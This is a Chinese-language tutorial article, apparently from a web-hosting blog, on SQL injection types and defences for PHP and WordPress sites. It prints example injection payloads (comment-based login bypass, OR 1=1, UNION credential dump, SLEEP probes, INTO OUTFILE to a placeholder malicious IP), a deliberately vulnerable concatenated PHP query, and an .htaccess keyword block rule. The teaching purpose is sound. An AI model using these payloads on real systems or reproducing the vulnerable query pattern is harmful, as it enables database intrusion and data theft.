SQL 注入是攻击者用来利用网站或应用程序数据库层漏洞的一种代码注入技术。如果攻击者可以执行 SQL 注入,他们就可以获得对数据库的访问权限。
如果您了解这些攻击的工作原理,您将能够更好地防止它们。这样,您可以确保您的网站和客户的安全。
在本文中,我们将探讨不同类型的 SQL 注入。我们还将向您展示如何保护您的网站免受这些攻击。让我们开始吧!
目录
- 什么是 SQL 注入?
- SQL 注入漏洞如何运作?
- SQL 注入的类型
- 推理 SQL 注入 (Blind SQL Injection)
- 带外 SQL 注入
- 如何防止 SQL 注入
- WordPress 中的 SQL 注入
- 保护您的 WordPress 网站
- SQL 注入是非法的吗?
什么是 SQL 注入?
SQL(结构化查询语言)是一种允许我们与数据库交互的语言。现代 Web 应用程序使用数据库来管理数据并向读者显示动态内容。
SQL 注入(或 SQLi)是指用户尝试将恶意 SQL 语句插入 Web 应用程序。如果他们成功,他们将能够访问数据库中的敏感数据。
2023 年,SQL 注入仍然是 Web 上最常见的攻击之一。仅在 2022 年,就有 1162 个 SQL 注入漏洞被添加到 CVE 安全数据库中。
好消息是 SQL 注入不像以前那样普遍。大多数应用程序已经发展到可以抵御 SQL 攻击。
早在 2012 年,97% 的数据泄露是由于 SQL 注入造成的。如今,这个数字仍然很高,但更容易管理。
SQL 注入漏洞如何运作?
SQL 注入漏洞使攻击者通过使用恶意 SQL 语句获得对应用程序数据库的完全访问权限。
让我们看一个易受攻击的应用程序示例。
想象一下一个典型的 Web 应用程序的工作流,它涉及通过用户输入进行数据库请求。您可以通过表单(例如登录表单)获取用户输入。然后,您可以使用用户提交的字段查询数据库以对其进行身份验证。对数据库的查询结构如下所示:
select * from user_table
where username = 'sdaityari'
and password = 'mypassword';
为简单起见,假设您将密码存储为明文。但是,最好先对密码进行加盐值,然后对它们进行哈希处理。继续,如果您从表单中收到了用户名和密码,您可以在 PHP 中定义查询,如下所示:
// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query
如果有人在 username 字段中输入值 “admin’;–”,则变量 $db_query 生成的结果 SQL 查询将如下所示:
select * from user_table where
username = 'admin';--' and password = 'mypassword'
此查询有什么作用?
在 SQL 中,— 符号会开始注释,因此它后面的所有内容都将被忽略。这实际上会从查询中删除密码检查。因此,如果 “admin” 是有效的用户名,攻击者可以在不知道密码的情况下登录。也就是说,至少在没有针对这些类型攻击的安全措施的情况下。
或者,在此示例中也可以使用布尔攻击来获取访问权限。如果攻击者在密码字段中输入 “password’ 或 1=1;–”,则生成的查询将如下所示:
select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';
在这种情况下,即使您的密码错误,您也会通过应用程序身份验证。如果您的网页显示数据库查询的结果,攻击者可以使用命令显示表,使用命令显示数据库中的表,然后根据需要选择性地删除表。
SQL 注入的类型
现在您已经了解了 SQL 注入漏洞的基础知识,让我们来探讨各种类型的 SQL 注入攻击及其背后的原因。
带内 SQL 注入
带内 SQL 注入是最简单的 SQL 注入形式。在此过程中,攻击者能够使用相同的通道将恶意 SQL 代码插入应用程序并收集结果。
让我们看看两种形式的带内 SQL 注入攻击。
基于错误的攻击
当有人故意操纵 SQL 查询以生成数据库错误时,就会发生基于错误的攻击。数据库返回的错误消息通常包含有关数据库结构的信息,攻击者可以利用这些信息进一步利用系统。
例如,攻击者可以在表单字段中输入 ‘ OR ‘1’=’1。如果应用程序易受攻击,它可能会返回一条错误消息,揭示有关数据库的信息。
基于Union的攻击
基于 Union 的 SQL 注入攻击使用 SQL UNION 运算符将原始查询的结果与注入的恶意查询的结果相结合。
这允许攻击者从数据库中的其他表中检索信息:
select title, link from post_table
where id < 10
union
select username, password
from user_table; --;
在此查询中,UNION 运算符将原始查询的结果与 SELECT 用户名、密码 FROM user_table 的结果组合在一起。如果应用程序易受攻击并且没有正确清理用户输入,它可能会返回一个包含 users 表中的用户名和密码的页面。
推理 SQL 注入 (盲注)
即使攻击者在 SQL 查询中生成了错误,查询的响应也可能不会直接传输到网页。在这种情况下,攻击者需要进一步探测。
在这种形式的 SQL 注入中,攻击者向数据库发送各种查询,以评估应用程序如何分析这些响应。推理 SQL 注入有时也称为盲目 SQL 注入。
我们将在下面介绍两种推理 SQL 注入:布尔 SQL 注入和基于时间的 SQL 注入。
布尔攻击
如果 SQL 查询导致错误,而该错误尚未在应用程序内部处理,则生成的 Web 页面可能会引发错误、加载空白页面或部分加载。在布尔 SQL 注入中,攻击者通过输入尝试两个不同版本的布尔子句,从而评估用户输入的哪些部分容易受到 SQL 注入的攻击:
- “…和 1=1”
- “…和 1=2”
这些查询设计为具有 true 或 false 的条件。如果条件为 true,则页面将正常加载。如果为 false,则页面可能会以不同的方式加载或显示错误。
通过观察页面的加载方式,攻击者可以确定条件是 true 还是 false,即使他们看不到实际的 SQL 查询或数据库的响应。如果您将几个相似的条件放在一起,则可以慢慢地从数据库中提取信息。
基于时间的攻击
基于时间的 SQL 注入攻击可以帮助攻击者确定 Web 应用程序中是否存在漏洞。攻击者利用应用程序使用的数据库管理系统的预定义基于时间的功能。例如,在 MySQL 中,sleep() 函数指示数据库等待一定数量的秒数。
select * from comments
WHERE post_id=1-SLEEP(15);
如果此类查询导致延迟,攻击者就会知道它容易受到攻击。此方法类似于布尔攻击,因为您不会从数据库获得实际响应。但是,如果攻击成功,您可以从中获取信息。
带外 SQL 注入
在带外 SQL 注入攻击中,攻击者操纵 SQL 查询以指示数据库将数据传输到攻击者控制的服务器。这通常是通过使用可以请求外部资源的数据库函数来实现的,例如发出 HTTP 请求或 DNS 查询。
带外 SQL 注入攻击使用 DBMS 的外部文件处理功能。在 MySQL 中,LOAD_FILE() 和 INTO OUTFILE 函数可用于请求 MySQL 将数据传输到外部源。
以下是攻击者如何使用 OUTFILE 将查询结果发送到外部源:
select * from post_table
into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'
同样,LOAD_FILE() 函数可用于从服务器读取文件并显示其内容。LOAD_FILE() 和 OUTFILE 的组合可用于读取服务器上的文件内容,然后将其传输到其他位置。
如何防止 SQL 注入
到目前为止,我们已经探讨了 Web 应用程序中可能导致 SQL 注入攻击的漏洞。攻击者可以利用 SQL 注入漏洞来读取、修改甚至删除数据库的内容。
此外,它还可能使人们能够读取服务器内任何位置的文件并将内容传输到其他位置。在本节中,我们将探讨各种技术来保护您的 Web 应用程序和网站免受 SQL 注入攻击。
转义用户输入
一般来说,判断用户字符串是否为恶意是一项艰巨的任务。因此,一种常见的方法是对用户输入中的特殊字符进行转义。此过程有助于防止 SQL 注入攻击。
在 PHP 中,您可以在使用mysqli_real_escape_string()函数构建查询之前对字符串进行转义:
$unsafe_variable = $_POST["user_input"]; $safe_variable = mysqli_real_escape_string($conn, $unsafe_variable);
将用户输入显示为 HTML 时,将特殊字符转换为相应的 HTML 字符以防止跨站点脚本 (XSS) 攻击也很重要。您可以使用htmlspecialchars()函数在 PHP 中转换特殊字符。
使用准备好的语句
或者,您可以使用准备好的语句来避免 SQL 注入。预编译语句是 SQL 查询的模板,您可以在稍后阶段指定参数以执行它。
以下是 PHP 和 MySQLi 中的预编译语句示例:
$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));
防止 SQL 攻击的其他检查
缓解此漏洞的下一步是将对数据库的访问限制为仅必要的内容。
例如,您可以使用只能访问相关数据库的特定用户将您的 Web 应用程序连接到 DBMS。
此外,您需要将数据库用户的访问限制为服务器的所有其他位置。您可能还希望通过 Web 服务器阻止 URL 中的某些 SQL 关键字。
如果您使用 Apache 作为 Web 服务器,则可以在 .htaccess 文件中使用以下代码行向潜在攻击者显示 403 Forbidden 错误。
在使用此技术之前,您应该小心,因为如果 URL 包含这些关键字,Apache 将向读者显示错误。
RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]
作为额外的预防提示,您应该始终使用更新的软件。发布新版本或补丁时,发行说明中会详细介绍更新中修复的错误。一旦错误的详细信息公开,运行任何软件的旧版本都可能存在风险。
WordPress 中的 SQL 注入
如果您使用的是最新的 WordPress 核心文件,则可以免受任何 SQL 注入漏洞的影响。但是,使用第三方插件和主题总是会使您的网站面临某种程度的漏洞。您可以通过使用定期更新并遵循安全编码实践的插件和主题来在很大程度上降低这种风险。
您的 WordPress 网站的强度取决于其最薄弱的环节。在本节中,我们将探讨缓解 WordPress 中 SQL 注入漏洞的关键注意事项,以及如何在现有 WordPress 网站上执行漏洞检查。
适用于 WordPress 的 SQL 注入漏洞防护
为了缓解 WordPress 主题或插件中 SQL 注入的漏洞,您必须遵循的唯一规则是在与数据库交互时始终使用现有的 WordPress 函数。
这些功能在 WordPress 开发过程中经过了 SQL 注入漏洞的全面测试。例如,如果要向帖子添加评论,请使用 wp_insert_comment() 函数,而不是将数据直接插入 wp_comments 表中。
虽然函数是可扩展的,但您可能偶尔需要运行复杂的查询。在这种情况下,请确保使用 $wp_db 函数组。在创建查询之前,您可以使用 $wpdb->prepare() 转义用户输入。
此外,这里是清理 WordPress 中数据的函数列表。这些可以帮助您转义特定类型的用户输入,例如电子邮件和 URL。
保护您的 WordPress 网站
虽然 WordPress 本身是安全的,但核心软件过时和插件为空等问题可能会导致漏洞。虽然除了彻底检查您的 WordPress 网站是否存在 SQL 注入漏洞之外别无选择,但网站的复杂性可能会使这项任务具有挑战性。
您可以使用在线扫描工具,例如 WPScan。我们还建议审核您的插件,看看它们的开发是否停滞不前。如果它们不再维护,那么在您的网站上使用它们可能不是一个好主意。
如果您仍然需要使用它们,请确保彻底测试其代码和功能是否存在漏洞。除此之外,请确保您遵循以下卫生检查:
- 更新 PHP、WordPress 核心和 MySQL
- 更新第三方插件和主题
- 避免使用 root 用户连接 SQL 数据库
- 限制 SQL 用户对敏感目录的访问
- 使用服务器阻止 SQL 关键字
- 将站点的备份保存在异地,以防发生不可逆转的损坏
这是一篇关于 WordPress 安全的详细文章和详尽的检查列表。此外,您可能需要安装一些 WordPress 安全插件。如果您的 WordPress 网站在您尽最大努力后仍被黑客入侵,您更应该这样做。
SQL 注入是非法的吗?
当然,是的!即使存在实际漏洞,攻击者仍然试图访问他们无法获得的数据。
想象一下有人将钥匙留在车内的场景。仅仅因为车门敞开无人看管就构成犯罪吗?
SQLi 法案在不同国家/地区受到不同法律的约束。它受美国《计算机欺诈和滥用法》(1986 年)和英国《计算机滥用法》(1990 年)的约束。
总结
长期以来,SQL 注入一直是各类网站上最常见的攻击方式之一。如果您不采取措施确保网站安全,即使是 WordPress 也无法防止 SQL 攻击的可能性。
要防止这些攻击,您需要:
- 了解 SQL 注入漏洞的工作原理
- 探索攻击者可能使用 SQLi 获得对 Web 应用程序的未授权访问的各种方式
- 实施保护您的网站免受 SQLi 攻击的方法,例如转义用户输入和使用准备好的语句
- 遵循安全检查程序

发表回复